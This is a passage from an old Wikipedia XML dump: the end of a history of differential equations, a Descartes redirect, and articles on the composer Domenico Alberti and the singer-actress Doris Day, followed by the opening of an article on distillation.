differential equations of the first order, of which [[Carl Friedrich Gauss|Gauss]]
(1815) gave an analysis. [[Augustin Cauchy|Cauchy]] (1819) gave a simpler method, attacking
the subject from the analytical standpoint, but using the [[Monge characteristic]]. Cauchy also first stated the theorem (now called the [[Cauchy-Kovalevskaya theorem]]) that every analytic differential equation
defines an [[analytic function]], expressible by means of a [[convergent series]].

[[Carl Gustav Jakob Jacobi|Jacobi]] (1827) also gave an analysis of Pfaff's
method, besides developing an original one (1836) which [[Alfred Clebsch|Clebsch]]
published (1862). Clebsch's own method appeared in 1866, and others
are due to [[Boole]] (1859), [[Aleksandr Korkin|Korkin]] (1869), and A. Mayer
(1872). [[Pfaff's problem]] (on [[total differential equation]]s) was investigated by Natani (1859),
Clebsch (1861, 1862), DuBois-Reymond (1869), Cayley, Baltzer,
Frobenius, Morera, Darboux, and Lie.

The next great improvement in the theory of partial differential equations of the first order was made by [[Sophus Lie|Lie]] (1872), who placed the whole subject on a solid foundation. After about 1870, Darboux, Kovalevsky, Méray,
Mansion, Graindorge, and Imschenetsky became prominent in this line. The theory of partial differential equations of the second and higher orders, beginning with Laplace and Monge, was notably advanced by Ampère (1840). 

The integration of partial differential equations with three or more variables was the object of elaborate investigations by Lagrange, and his name became connected with certain subsidiary equations. It was he and Charpit who originated one of the methods for integrating the general equation with two variables; a method which now bears Charpit's name.

===Singular solutions===
The theory of [[singular solution]]s of ordinary and partial
differential equations was a subject of research from the time
of Leibniz, but only since the middle of the [[nineteenth century]] did it
receive special attention. A valuable but little-known work on the
subject is that of Houtain (1854). Darboux (starting in 1873) was a
leader in the theory, and in the geometric interpretation of these
solutions he opened a field which was worked by various
writers, notably Casorati and Cayley. To the latter is due (1872)
the theory of singular solutions of differential equations of the
first order as accepted circa 1900.

===Reduction to quadratures===
The primitive attempt in dealing with differential equations had in
view a reduction to [[quadrature (mathematics)|quadrature]]s. As it had been the hope of
eighteenth-century algebraists to find a method for solving the
general equation of the &lt;math&gt;n&lt;/math&gt;th degree, so it was the hope of analysts
to find a general method for integrating any differential
equation. Gauss (1799) showed, however, that the differential
equation meets its limitations very soon unless [[complex number]]s are
introduced. Hence analysts began to substitute the study of
functions, thus opening a new and fertile field. Cauchy was the
first to appreciate the importance of this view.  Thereafter the real question
was to be, not whether a solution is possible by means of known
functions or their integrals, but whether a given differential
equation suffices for the definition of a function of the
independent variable or variables, and if so, what are the
characteristic properties of this function.

===The Fuchsian theory===
Two memoirs by Fuchs (''Crelle'', 1866, 1868), inspired a novel approach, subsequently elaborated by Thomé and Frobenius. Collet was a prominent contributor beginning in 1869, although his method for integrating a
non-linear system was communicated to Bertrand in 1868. Clebsch (1873) attacked
the theory along lines parallel to those followed in his theory of
[[Abelian integral]]s. As the latter can be classified according to the
properties of the fundamental curve which remains unchanged under a
rational transformation, so Clebsch proposed to classify the
transcendent functions defined by the differential equations
according to the invariant properties of the corresponding surfaces
''f'' = 0 under rational one-to-one transformations.

==Lie's theory==

From 1870 [[Sophus Lie|Lie's]] work put the theory of differential equations
on a more satisfactory foundation. He showed that the integration
theories of the older mathematicians can, by the introduction of what are now called [[Lie group]]s, be referred to a common source; and that
ordinary differential equations which admit the same [[infinitesimal transformation]]s present comparable difficulties of integration. He
also emphasized the subject of [[contact transformation|transformations of contact]]
(''Berührungstransformationen'').

==See also==
*[[Examples of differential equations]]
*[[Differential equations of mathematical physics]]
*[[Differential equations from outside physics]]
*[[Difference equation]]
*[[Laplace transform applied to differential equations]]
*[[Boundary value problem]]
*[[List of dynamical systems and differential equations topics]]

== Bibliography ==

* A. D. Polyanin and V. F. Zaitsev, ''Handbook of Exact Solutions for Ordinary Differential Equations (2nd edition)&quot;, Chapman &amp; Hall/CRC Press, Boca Raton, 2003. ISBN 1-58488-297-2
* A. D. Polyanin, V. F. Zaitsev, and A. Moussiaux, Handbook of First Order Partial Differential Equations'', Taylor &amp; Francis, London, 2002. ISBN 0-415-27267-X
* D. Zwillinger, ''Handbook of Differential Equations (3rd edition)'', Academic Press, Boston, 1997.
* Hartman, Philip, ''Ordinary Differential Equations, 2nd Ed.'', Society for Industrial &amp; Applied Math, 2002. ISBN 0898715105.
* W. Johnson, [http://www.hti.umich.edu/cgi/b/bib/bibperm?q1=abv5010.0001.001 ''A Treatise on Ordinary and Partial Differential Equations''], John Wiley and Sons, 1913, in [http://hti.umich.edu/u/umhistmath/ University of Michigan Historical Math Collection]

==External links==
*[http://eqworld.ipmnet.ru/index.htm EqWorld: The World of Mathematical Equations], containing a list of ordinary differential equations with their solutions.

[[Category:Differential calculus]]
[[Category:Ordinary differential equations|*]]

[[ca:Equació diferencial ordinària]]
[[de:Gewöhnliche Differentialgleichung]]
[[ja:&amp;#24120;&amp;#24494;&amp;#20998;&amp;#26041;&amp;#31243;&amp;#24335;]]
[[it:Equazione differenziale ordinaria]]
[[pt:Equação diferencial ordinária]]
[[ro:Ecua&amp;#355;ie diferen&amp;#355;ial&amp;#259; ordinar&amp;#259;]]
[[sv:Ordinär differentialekvation]]</text>
    </revision>
  </page>
  <page>
    <title>Descartes</title>
    <id>8298</id>
    <revision>
      <id>40315019</id>
      <timestamp>2006-02-19T19:35:40Z</timestamp>
      <contributor>
        <username>Freakofnurture</username>
        <id>77511</id>
      </contributor>
      <comment>{{R from surname}}</comment>
      <text xml:space="preserve">#REDIRECT [[René Descartes]] {{R from surname}}</text>
    </revision>
  </page>
  <page>
    <title>Domenico Alberti</title>
    <id>8299</id>
    <revision>
      <id>32937717</id>
      <timestamp>2005-12-28T01:08:00Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
      </contributor>
      <minor />
      <comment>robot  Adding: es</comment>
      <text xml:space="preserve">'''Domenico Alberti''' (around [[1710]] - [[1740]]) was an [[Italy|Italian]] [[singer]], [[harpsichord]]ist and [[composer]] whose works bridge the [[Baroque Music|Baroque]] and [[Classical Music Era|Classical]] periods.

Alberti was born in [[Venice]] and studied [[music]] with [[Antonio Lotti]]. He wrote [[opera]]s, [[song]]s and [[sonata (music)|sonatas]] for [[keyboard instrument]]s, for which he is best known today. These sonatas frequently employ a particular kind of [[arpeggio|arpeggiated]] [[accompaniment]] in the left hand which is now known as the ''[[Alberti bass]]''. It consists of regular broken [[chord (music)|chord]]s, with the lowest note sounding first, then the highest, then the middle and then the highest again. This pattern is repeated. Today, Alberti is seen as a very minor composer, and none of his works are played or recorded with any regularity, but Alberti bass was used by many later composers, and became an important element in much keyboard music of the [[Classical music era]].

In his own lifetime, Alberti was known as a singer. He often used to accompany himself on the harpsichord. Little is known of his life, but he was [[Venice|Venetian]] [[Ambassador (diplomacy)|ambassador]] to [[Spain]] in [[1736]], when the famous [[castrato]] singer [[Farinelli]] heard him sing there. Farinelli was said to be impressed, even though Alberti was an amateur.

Alberti's best known pieces are his keyboard sonatas, although even they are very rarely performed. It is thought he wrote around 36 sonatas, of which 14 have survived. They all have two movements, each in [[binary form]].

It is probable that [[Wolfgang Amadeus Mozart|Mozart]]'s first [[violin sonata]]s, written at the age of seven, were modelled on Alberti, although Mozart's examples are generally considered superior.

Alberti died in 1740 in [[Rome]].

[[Category:1710 births|Alberti]]
[[Category:1740 deaths|Alberti]]
[[Category:Baroque composers|Alberti]]
[[Category:Italian composers|Alberti]]
[[Category:Classical era composers|Alberti]]
[[Category:Opera composers|Alberti]]
[[Category:Natives of Venice|Alberti]]

[[da:Domenico Alberti]]
[[de:Domenico Alberti]]
[[es:Domenico Alberti]]
[[fr:Domenico Alberti]]
[[pl:Domenico Alberti]]
[[ro:Domenico Alberti]]
[[fi:Domenico Alberti]]</text>
    </revision>
  </page>
  <page>
    <title>Doris Day</title>
    <id>8300</id>
    <revision>
      <id>41782854</id>
      <timestamp>2006-03-01T18:44:20Z</timestamp>
      <contributor>
        <username>BRG</username>
        <id>10857</id>
      </contributor>
      <minor />
      <comment>/* Songs */</comment>
      <text xml:space="preserve">[[Image:Doris Day.jpg|thumb|Doris Day]]

'''Doris Day''' (born [[April 3]] [[1924]]) is an [[United States|American]] [[singer]], [[Actor|actress]], and animal welfare advocate.  A vivacious blonde with a wholesome image, she was one of the most prolific actresses of the 1950s and 1960s. Able to sing, dance, and play comedy and dramatic roles, she was an all-rounded star whose persona permeated many popular and diverse movies.

== Biography ==
Day was born '''Doris Mary Ann von Kappelhoff''' in [[Evanston, Ohio|Evanston]], [[Ohio]] to [[Germany|German]] immigrants. The second of two children, she was named &quot;Doris&quot; after silent movie actress Doris Kenyon, whom her mother liked. Her family was [[Roman Catholic]], despite her parents' divorce. She later embraced [[Christian Science]]. 

Day started out as a dancer, winning a contract that enabled her to travel to [[Hollywood, California]] with her partner, Jerry Doherty, in 1936, but turned to singing when she injured her leg in an auto accident in 1937. She sang with the [[big band]]s of [[Barney Rapp]], [[Bob Crosby]], and [[Les Brown (bandleader)|Les Brown]], before setting out on her own in the late 1940s. It was Barney Rapp who convinced her that &quot;Kappelhoff&quot; was too awkward a name and suggested &quot;Day&quot; after the song &quot;Day after Day&quot; that was part of her repertoire. She never really liked the name Doris Day, thinking it sounded too much like a stripper; this was ironic, since she eventually became associated with a nearly opposite image of wholesomeness and innocence.

With Brown, she charted twelve [[popular music]] hits, among them her first two # 1's: &quot;[[Sentimental Journey (song)|Sentimental Journey]]&quot; and &quot;[[My Dreams Are Getting Better All the Time]]&quot;. &quot;Sentimental Journey&quot; earned her a flood of letters from [[World War II]] [[G.I.|GI]]s. She admitted coming to hate singing &quot;Journey&quot;, but never tired of reading the letters. On her own, she had more # 1's, including &quot;Secret Love&quot;.

Day acted in many films, in most of which she sang. Day began her film career in musicals, starting in [[1948]] as a peppy, [[Betty Hutton]]esque persona. Her first film was ''Romance on the High Seas''; in her audition she beat out over one hundred actresses, some of whom were established figures. Early publicity saddled her with such unflattering nicknames as &quot;The Tomboy with a Voice&quot; and &quot;The Golden Tonsil&quot;. She continued to make saccharine and somewhat low-level musicals such as ''Starlift'', ''By the Light of the Silvery Moon'', and ''Tea for Two'' for [[Warner Brothers]] until the cycle exhausted itself. [[1953]] found Doris as pistol packin' ''Calamity Jane'' in what has become one of Hollywood's most enduring musicals, winning the Oscar for Best Song for &quot;Secret Love&quot;. In [[1955]], she received some of the best notices of her career for her portrayal of singer [[Ruth Etting]] in ''[[Love Me or Leave Me (movie)|Love Me or Leave Me]]'', co-starring [[James Cagney]]. She continued to be paired with some of Hollywood's biggest male stars, including [[James Stewart (actor)|James Stewart]], [[Cary Grant]], [[David Niven]], and [[Clark Gable]]. 

In Alfred Hitchcock's The Man Who Knew Too Much, she sang &quot;Whatever Will Be (Que Será, Será)&quot;, which won an Oscar. According to [[Jay Livingston]] (who wrote the song with [[Ray Evans]]) Day preferred another song used briefly in the film, &quot;We'll Love Again&quot;, and skipped the recording for &quot;Que Será, Será&quot;. When the studio pushed her, she relented, but after recording the number in one take she reportedly told a friend of Livingston's, &quot;That's the last time you'll ever hear that song.&quot; &quot;Que Será, Será&quot; (French for &quot;What Will Be, Will Be&quot;) became her signature song, used in her later film ''Please Don't Eat the Daisies'' and as the theme song for her television show, and was covered by [[Sly &amp; the Family Stone]] in [[1973]].

[[Image:PillowTalk.jpg|thumb|right|with Rock Hudson in ''Pillow Talk'' (1959)]]

In 1959 Day entered her most successful phase as a film actress with the hugely popular ''[[Pillow Talk]]'' co-starring [[Rock Hudson]], who became a lifelong friend.  The film received positive reviews and was a box office favourite. It also brought a nomination for an [[Academy Award for Best Actress]] for Day. She and Hudson made two more films together. Many of her 1960s films ignored her singing abilities and painted her as a good-hearted woman with a strong will, a hint of naïveté, and the purest virtue this side of a nun. Times as well as attitudes changed, but Day's films did not. Critics, comics and pundits attacked Day as &quot;the world's oldest virgin&quot; and audiences began to shy away from her repetitive, gimmicky roles. Day herself found many of her mid-late 1960s films to be of very poor quality (her least favorite was ''Caprice'', co-starring [[Richard Harris (actor)|Richard Harris]]) and did them only at the insistence of her third husband, Marty Melcher. One of the roles he turned down for her was '''Mrs. Robinson''' in ''[[The Graduate]]'' (a role that went to [[Anne Bancroft]]). Later, in her published memoirs co-authored by [[A.E. Hotchener]], Doris says that she herself rejected the part on moral grounds.

Doris, and the showbiz community, were shocked to discover when Melcher died that he had either squandered Doris's hard-earned fortune, or hid it with his business partner Jerry Rosenthal. To this day, no one is completely sure which is the case. Either way, Doris was left penniless. Doris sued Rosenthal and won the largest civil judgment up until that time in California, over $20,000,000 (USD). How much Doris actually collected is not certain. According to Doris's as-told-to autobiography by A.E. Hotchener, the usually athletic, healthy Melcher had an enlarged heart, but possibly willed himself to die rather than face Doris with the truth. Another factor is that Melcher converted to Christian Science during his relationship with Day, and his beliefs led him to put off going to the doctor for some time.

Upon Melcher's death she learned that he had committed her to a [[television|TV]] series. From [[1968]] to [[1973]], she therefore starred in her own [[situation comedy]], ''[[The Doris Day Show]]'', which had &quot;Que Será, Será&quot; as its theme song. Day continued with the show only as long as she needed the work to help pay down her debts.

Though generally presenting a happy, carefree image to the public, she had four difficult marriages:
# To Al Jordan, a [[trombone|trombonist]] whom she had met when he was in Barney Rapp's band, from March 1941 to 1943. She was not yet 17 when she married Jordan, and her only child, [[Terry Melcher]], was born from this marriage, when Day was 17, but Jordan was physically and emotionally abusive. He committed suicide after their divorce.
# To George Weidler, (a [[saxophone|saxophonist]]), from [[March 30]], [[1946]] to [[May 31]], [[1949]]. Weidler never could accept the fact that his wife would become a bigger star than he, and they broke up after eight months. Weidler and Day met again several years later and during a brief reconciliation he helped her become involved in Christian Science.
# To Marty Melcher, whom she married on her 27th birthday, [[April 3]], [[1951]]. This looked like a happy marriage, and lasted much longer than her first two. Melcher adopted Terry (thus becoming Terry Melcher), and also produced many of Day's movies. However, when he died in 1968 it turned out he had been spending her money without restraint, leaving her [[bankruptcy|bankrupt]], and owing thousands. Her money difficulties continued for a number of years after his death, she ultimately returned to financial security. Day also later revealed that Melcher had physically abused Terry.
# To Barry Comden, from [[April 14]], [[1976]] to [[1981]]. Comden was her only husband outside show business. Comden was the maitre d' at one of Doris's favorite restaurants. Knowing of her great love of dogs, Comden began the practice of giving Doris a bag of meat scraps and bones on her way out. This is how he got to meet and endear himself to her.

In 1972 the name of '''Doris Day''' was included in one of the songs of the famous musical ''[[Grease (musical)|Grease]]'' side by side with the name of '''[[Sandra Dee]]''' as an example of overly sentimental and righteous person.

In [[1985]] Day hosted her own [[talk show]], ''Doris Day's Best Friends''. The show generated unexpected press when her old friend [[Rock Hudson]] appeared in the first episode. Day was taken aback by Hudson's emaciated and wizened frame, as he had always been in top physical condition. Soon after, she and the world learned that he was dying of [[AIDS]]. Day stood by his side, but refused to accept that his illness was the result of his sexual proclivities.

In 1987, she founded the '''Doris Day Animal League''', and she currently devotes much of her time towards the cause of helping animals.

She wrote a best-selling autobiography, '''Doris Day: My Own Story'''.
 
In [[2004]] she was awarded the [[Presidential Medal of Freedom]] but refused to attend the ceremony because of a [[aviophobia|fear of flying]]. She has turned down an honorary Academy Award and a Kennedy's Center Honor for similar reasons.

In November 2004 her son Terry died from complications of [[melanoma]], aged 62. 

She is part-owner of the Cypress Inn in [[Carmel, California]], where pets are, of course, very welcome.

==Songs ==

Hit Records (Singles)

(with [[Les Brown's Band of Renown]])
*[[Sentimental Journey]] 
::1,000,000+ sales
*[[My Dreams Are Getting Better All The Time]]
::1,000,000+ sales
[[Image:DorisDayalbumcover.jpg|right|thumb]]

(As A Solo Performer)
*[[It's Magic]]
::1,000,000+ sales
*[[Again (1949 song)|Again]]
*[[Love Somebody]] (duet with [[Buddy Clark]])
::1,000,000+ sales
*[[Confess (song)|Confess]] (duet with Buddy Clark)
*[[Bewitched, Bothered, and Bewildered|Bewitched]]
::1,000,000+ sales
*[[Shanghai (song)|Shanghai]]
*[[Sugarbush]] (duet with [[Frankie Laine]])
::1,000,000+ sales
*[[Mister Tap Toe]]
*[[Secret Love]] 
::1,000,000+ sales
*[[If I Give My Heart To You]]
*[[I'll Never Stop Loving You]]
::1,000,000+ sales
*[[Everybody Loves A Lover]]
*[[Move Over, Darling (song)|Move Over, Darling]]


ALBUMS

You're My Thrill
Tea For Two
Young Man With A Horn
Lullaby Of Broadway
On Moonlight Bay
I'll See You In My Dreams
By The Light Of The Silvery Moon
Calamity Jane
     The Deadwood Stage
     Secret Love
     Just Blew in From The Windy City
     The Black Hills Of Dakota
     (4 more)
Young At Heart
     Till My Love Comes To Me
     You, My Love
     Ready, Willing and Able
     Hold Me In Your Arms
     (2 more)

12&quot; LPs

Day Dreams   
     Reissue of &quot;You're My Thrill&quot;
     plus 4 more, also early singles

Love Me Or Leave Me (Soundtrack of the MGM film: Orchestra
                     arranged and conducted by Percy Faith)
     It All Depends on You (DeSylva, Brown, Henderson)
     Sam, The Old Accordion Man (Donaldson)
     Shaking The Blues Away (Berlin)
     Mean To Me (Ahlert, Turk)
     plus 8 more, plus outtakes on current reissues

Day By Day (Orchestra arranged and conducted by Paul Weston) 
     The Song Is You (Kern, Hammerstein)
     I Remember You (Mercer, Schertzenberger)
     Day By Day (cahn, Stordahl, Weston)
     Autumn Leaves (Mercer, Kosma)
     plus 8 more

Day By Night (Orchestra arranged and conducted by Paul Weston)
     I See Your Face Before Me (Dietz, Schwartz)
     Moonglow
     Dream A Little Dream Of Me (Kahn)
     You Do Something To Me (Porter)
     plus 8 more

The Pajama Game (Soundtrack of the Warner Bros. film:  
            Orchestra arranged and conducted by Ray Heindorf)
     I'm Not At All In Love
     Small Talk
     There Once Was A Man
     Seven-and-a-Half Cents
     Once-A-Year Day

Hooray For Hollywood (2 volumes: orchestra arranged and
                      conducted by Frank Devol)
  Volume One:
     Cheek To Cheek (Berlin)
     Over The Rainbow (Arlen, Washington)
     Blues In The Night (Mercer, Arlen)
     Night And Day (Porter)
     plus 8 more
  Volume Two:
     Three Coins In The Fountain (Cahn, Styne)
     It Might As Well Be Spring (Rodgers, Hammerstein)
     You'll Never Know (Gordon, Warren)
     Nice Work If You Can Get It (GGershwin, IGershwin)
     plus 8 more

Cuttin' Capers (Orchestra arranged and conducted by 
                Frank DeVol)
     Making Whoopee (Kahn, Donaldson)
     Sitting On Top Of The World (Brown)
     Let's take A Walk Around The Block (Arlen, Lane,
                                         I.Gershwin)
     Stepping Out With My Baby (Berlin)
     plus 8 more

What Every Girl Should Know (Orchestra arranged and consucted
                             by Harry Zimmerman)
     When You're Smiling
     Something Wonderful (Rodgers, Hammerstein)
     Mood Indigo (Ellington)
     A Hundred Years From Today (Washington)
     plus 8 more

Show Time (Orchestra arranged and conducted by Axel Stordahl)
     On The Street Where You Live (Lerner, Loewe)
     They Say It's Wonderful (Berlin)
     People Will Say We're In Love (Rodgers, Hammerstein)
     I Love Paris (Porter)
     plus 8 more

The Love Album (orchestra arranged and conducted by Sid 
                Feller)
     Wonderful One
     For All We Know
     Life Is Just A Bowl Of Cherries
     Are You Lonsome Tonight?
     plus 8 more (2 in a medley)

Complete recorded performances of Doris Day are available by collecting: 
the two above referenced collections;
the four Bear Family collections:
     It's Magic
     Secret Love
     Que Sera, Sera
     Move Over Darling
and
     The Complete Doris Day with Les Brown, and
     Hidden Treasures





*&quot;[[Anything You Can Do]]&quot;
*&quot;Any Way the Wind Blows&quot;
*&quot;[[Bewitched, Bothered and Bewildered]]&quot;
*&quot;But Not For Me&quot;
*&quot;[[By The Light Of The Silvery Moon]]&quot;
*&quot;[[Confess (song)|Confess]]&quot; (duet with [[Buddy Clark]]) (also done by [[Patti Page]])
*&quot;Cheek To Cheek&quot;
*&quot;Dream A Little Dream Of Me&quot;
*&quot;[[Everybody Loves A Lover]]&quot;
*&quot;Everybody Loves My Baby&quot;
*&quot;[[Hey There]]&quot;
*&quot;Hooray For Hollywood&quot;
*&quot;[[If I Give My Heart to You]]&quot; (also done by [[Denise Lor]])
*&quot;I'll Never Stop Loving You&quot;
*&quot;I'm An Indian Too&quot;
*&quot;It All Depends on You&quot;
*&quot;[[It's Magic]]&quot;
*&quot;[[It's a Great Feeling]]&quot;
*&quot;It Takes Time&quot;
*&quot;Julie&quot;
*&quot;Just One of Those Things&quot;
*&quot;Love Me In The Daytime&quot;
*&quot;[[Love Me or Leave Me (song)|Love Me or Leave Me]]&quot;
*&quot;[[Love Somebody]]&quot; (duet with [[Buddy Clark]])
*&quot;[[Lullaby of Broadway (song)|Lullaby of Broadway]]&quot;
*&quot;Move Over, Darling&quot;
*&quot;[[My Darling, My Darling]]&quot; (duet with [[Buddy Clark]])
*&quot;My Young and Foolish Heart&quot;
*&quot;On Moonlight Bay&quot;
*&quot;[[Perhaps, Perhaps, Perhaps]]&quot;
*&quot;[[Pillow Talk (song)|Pillow Talk]]&quot;
*&quot;Put 'em in a Box, Tie 'em with a Ribbon&quot;
*&quot;[[Secret Love]]&quot;
*&quot;[[Sentimental Journey (song)|Sentimental Journey]]&quot;
*&quot;[[Singin' in the Rain (song)|Singin' in the Rain]]&quot;
*&quot;Someone Like You&quot; 
*&quot;[[Sugarbush]]&quot; (duet with [[Frankie Laine]]) 
*&quot;Tacos, Enchiladas and Beans&quot;
*&quot;[[Teacher's Pet (song)|Teacher's Pet]]&quot;
*&quot;[[When I Fall in Love (song)|When I Fall in Love]]&quot; 
*&quot;[[Whatever Will Be, Will Be (song)|Whatever Will Be, Will Be]]&quot; (&quot;Que Será, Será&quot;)
*&quot;[[You Are My Sunshine]]&quot;
*&quot;[[You Do Something to Me]]&quot;

==Filmography==
*''Romance on the High Seas'' ([[1948]])
*''My Dream Is Yours'' ([[1949]])
*''[[It's a Great Feeling]]'' ([[1949]])
*''[[Young Man with a Horn]]'' ([[1950]])
*''Tea for Two'' ([[1950]])
*''The West Point Story'' ([[1950]])
*''Storm Warning'' ([[1951]])
*''Lullaby of Broadway'' ([[1951]])
*''[[On Moonlight Bay]]'' ([[1951]])
*''I'll See You in My Dreams'' ([[1951]])
*''Starlift'' ([[1951]]) (Cameo)
*''Screen Snapshots: Hollywood Night Life'' ([[1952]]) (short subject)
*''The Winning Team'' ([[1952]])
*''[[April in Paris]]'' ([[1952]])
*''[[By the Light of the Silvery Moon]]'' ([[1953]])
*''So You Want a Television Set'' ([[1953]]) (short subject) (Cameo)
*''[[Calamity Jane]]'' ([[1953]])
*''Lucky Me'' ([[1954]])
*''[[Young at Heart]]'' ([[1954]])
*''[[Love Me or Leave Me (movie)|Love Me or Leave Me]]'' ([[1955]])
*''[[The Man Who Knew Too Much]]'' ([[1956]])
*''Julie'' ([[1956]])
*''[[The Pajama Game]]'' ([[1957]])
*''[[Teacher's Pet]]'' ([[1958]])
*''The Tunnel of Love'' ([[1958]])
*''It Happened to Jane'' ([[1959]])
*''[[Pillow Talk]]'' ([[1959]])
*''Please Don't Eat the Daisies'' ([[1960]])
*''[[Midnight Lace]]'' ([[1960]])
*''Lover Come Back'' ([[1961]])
*''[[That Touch of Mink]]'' ([[1962]])
*''[[Jumbo (musical)|Billy Rose's Jumbo]]'' ([[1962]])
*''The Thrill of It All'' ([[1963]])
*''[[Move Over, Darling]]'' ([[1963]])
*''Send Me No Flowers'' ([[1964]])
*''Do Not Disturb'' ([[1965]])
*''Every Girl's Dream'' ([[1966]]) (short subject)
*''[[The Glass Bottom Boat]]'' ([[1966]])
*''The Ballad of Josie'' ([[1967]])
*''Caprice'' ([[1967]])
*''Rowan &amp; Martin at the Movies'' ([[1968]]) (short subject)
*''Where Were You When the Lights Went Out?'' ([[1968]])
*''[[With Six You Get Eggroll]]'' ([[1968]])
*''Don't Pave Main Street: Carmel's Heritage'' ([[1994]]) (documentary) (narrator)

==Albums==
*[[1949]] ''You're My Thrill''
*[[1950]] ''[[Young Man with a Horn]]''  (w/ [[Harry James]]) (soundtrack)
*[[1951]] ''Lullaby of Broadway'' (soundtrack)
*[[1951]] ''[[On Moonlight Bay]]'' (soundtrack)
*[[1951]] ''I'll See You in My Dreams'' (soundtrack)
*[[1953]] ''[[By the Light of the Silvery Moon]]'' (soundtrack)
*[[1953]] ''[[Calamity Jane]]'' (soundtrack)
*[[1954]] ''[[Young at Heart]]'' (soundtrack) (w/ [[Frank Sinatra]])
*[[1955]] ''[[Love Me or Leave Me (movie)|Love Me or Leave Me]]'' (soundtrack)
*[[1956]] ''Day By Day'' 
*[[1957]] ''[[The Pajama Game]]'' (soundtrack) (w/ [[John Raitt]] and cast of film)
*[[1957]] ''Day By Night'' 
*[[1958]] ''Hooray for Hollywood Vol. 1''
*[[1959]] ''Hooray for Hollywood Vol. 2''
*[[1959]] ''Cuttin' Capers''
*[[1960]] ''[[What Every Girl Should Know (album)|What Every Girl Should Know]]''
*[[1960]] ''Show Time''
*[[1961]] ''Bright and Shiny''
*[[1961]] ''[[I Have Dreamed (1961 album)|I Have Dreamed]]''
*[[1962]] ''Duet'' (w/ [[Andre Previn]])
*[[1962]] ''[[You'll Never Walk Alone (Doris Day album)|You'll Never Walk Alone]]''
*[[1962]] ''Billy Rose's Jumbo'' (soundtrack) (w/ cast of film)
*[[1963]] ''[[Annie Get Your Gun]]'' (w/ [[Robert Goulet]])
*[[1963]] ''Love Him''
*[[1964]] ''The Doris Day Christmas Album''
*[[1964]] ''With a Smile and a Song''
*[[1965]] ''Latin for Lovers''
*[[1965]] ''Doris Day's Sentimental Journey''
*[[1967]] ''[[The Love Album]]'' (released in 1994)

==Trivia==
She is mentioned in the [[Beatles]]' song &quot;Dig It,&quot; the [[Billy Joel]] song &quot;[[We didn't start the fire,]]&quot; , the [[Wham]] song &quot;Wake Me Up Before You Go Go&quot;, and in the song &quot;Sandra Dee,&quot; part of the musical [[Grease (musical)|Grease]].

During the [[Canadian federal election, 2000|2000 Canadian federal election]], [[Canadian Alliance|Alliance]] party leader [[Stockwell Day]] promised to institute a policy under which a petition with 3% of Canadian voters' signatures could trigger a referendum on any subject. As a result, Canadian satirists made a mock on-line petition to hold a referendum to force Stockwell Day to change his name to Doris Day, and obtained more than three times more signatures than the needed 3%.

==External links ==
*{{imdb name|id=0000013|name=Doris Day}}
* [http://www.thegoldenyears.org/day.html Classic Movies (1939 - 1969): Doris Day]
*[http://www.twoop.com/people/archives/2005/11/doris_day.html Doris Day] - A timeline of her life
*[http://www.dorisday.net/ Another filmography and fan page]
*[http://www.legacyrecordings.com/dorisday/discography.html A discography of her work]
*[http://www.parabrisas.com/d_dayd.html Bio] on the &quot;SOLID!&quot; site
*[http://www.ddal.org Doris Day Animal League]
&lt;!-- *[http://www.dorisday.com Doris Day's Official Website] (Actually link to Cypress Inn) --&gt;
*[http://www.dorisday.de.vu Inoffizielle Doris Day Online Vita]
*[http://www.dorisdaytribute.com/ Doris Day tribute page]
*[http://www.mp3.com/doris-day/artists/2577/biography.html Biography on the MP3.com site]
*[http://www.epinions.com/content_3847135364 A Sentimental Journey] - Bio on the &quot;Epinions&quot; site
*[http://www.gemini-records.no/releases/Import/Proper/disk103.htm discographic info on some of her late-40s releases]
*http://www.dorisday.ixy.de Erste deutsche Doris Day Homepage/First German Doris Day Page

&lt;!-- Pillow Talk --&gt;

[[Category:1924 births|Day, Doris]]
[[Category:American actors|Day, Doris]]
[[Category:American female singers|Day, Doris]]
[[Category:Best Actress Oscar Nominee|Day, Doris]]
[[Category:Big band singers|Day, Doris]]
[[Category:Christian Science|Day, Doris]]
[[Category:Daytonians|Day, Doris]]
[[Category:Film actors|Day, Doris]]
[[Category:Gay icons|Day, Doris]]
[[Category:German-Americans|Day, Doris]]
[[Category:Hollywood Walk of Fame|Day, Doris]]
[[Category:Living people|Day, Doris]]
[[Category:Presidential Medal of Freedom recipients|Day, Doris]]
[[Category:Television talk show hosts|Day, Doris]]
[[Category:Traditional pop music singers|Day, Doris]]
[[Category:Vegetarians|Day, Doris]]

[[de:Doris Day]]
[[eo:Doris DAY]]
[[it:Doris Day]]
[[nl:Doris Day]]
[[no:Doris Day]]
[[pl:Doris Day]]
[[fi:Doris Day]]
[[sv:Doris Day]]</text>
    </revision>
  </page>
  <page>
    <title>Distillation</title>
    <id>8301</id>
    <revision>
      <id>41381748</id>
      <timestamp>2006-02-26T23:40:08Z</timestamp>
      <contributor>
        <username>Mahanchian</username>
        <id>606519</id>
      </contributor>
      <comment>dewikification</comment>
      <text xml:space="preserve">[[Image:Scotland Strathisla distillery.jpg|thumb|Strathisla whisky distillery in [[Keith, Scotland]]]]
'''Distillation''' is a method of separation of [[chemical substance|substance]]s based on differences in their vapour pressures.

Known since [[Ancient history|antiquity]], the [[concentration]] of [[alcohol]] by the application of [[heat]] to a [[fermentation|fermented]] [[liquid]] [[solution]] is perhaps the oldest form of distillation, in the course of producing [[distilled beverage]]s.  However, the technique is now widely used for a variety of liquids in the [[chemical industry]] and in the production of [[petroleum]] products, among other fields.

The liquid solution evaporates, such that the vapor has a composition determined by the chemical properties of the solution. Distillation of a given component is possible, if the vapor has a higher proportion of the given component than the solution. This is caused by the given component having a higher vapor pressure &amp;mdash; and thus a lower boiling point &amp;mdash; than the other components.

However, interactions between the components of the solution can create properties unique to the solution. Such interactions can result in an [[azeotrope]]. At an [[azeotrope]], the solution contains the given component in the same proportion as the vapor, so that evaporation does not change the purity, and distillation does not effect separation. For example, [[ethyl alcohol]] and [[Water (molecule)|water]] form an azeotrope of 95% at 78.2°C.

By the nature of the process, it is theoretically impossible to completely purify the components using distillation, as distillation only tends to purity, never reaching it. This is comparable to dilution, which never reaches purity. If ultra-pure products are the goal, then further chemical separation must be used.

The minimum in distillation is [[flash distillation]], where either the temperature is rapidly increased or pressure reduced, and vapor and liquid fractions are thus obtained, which may be processed as such. The device used in distillation is referred to as a ''[[still]]'' and consists at a minimum of a '''reboiler''' or ''pot'' in which the source material is heated, a '''condenser''' in which the heated [[gas|vapor]] is cooled back to the liquid [[phase (matter)|state]], and a '''receiver''' in which the concentrated or purified liquid is collected.

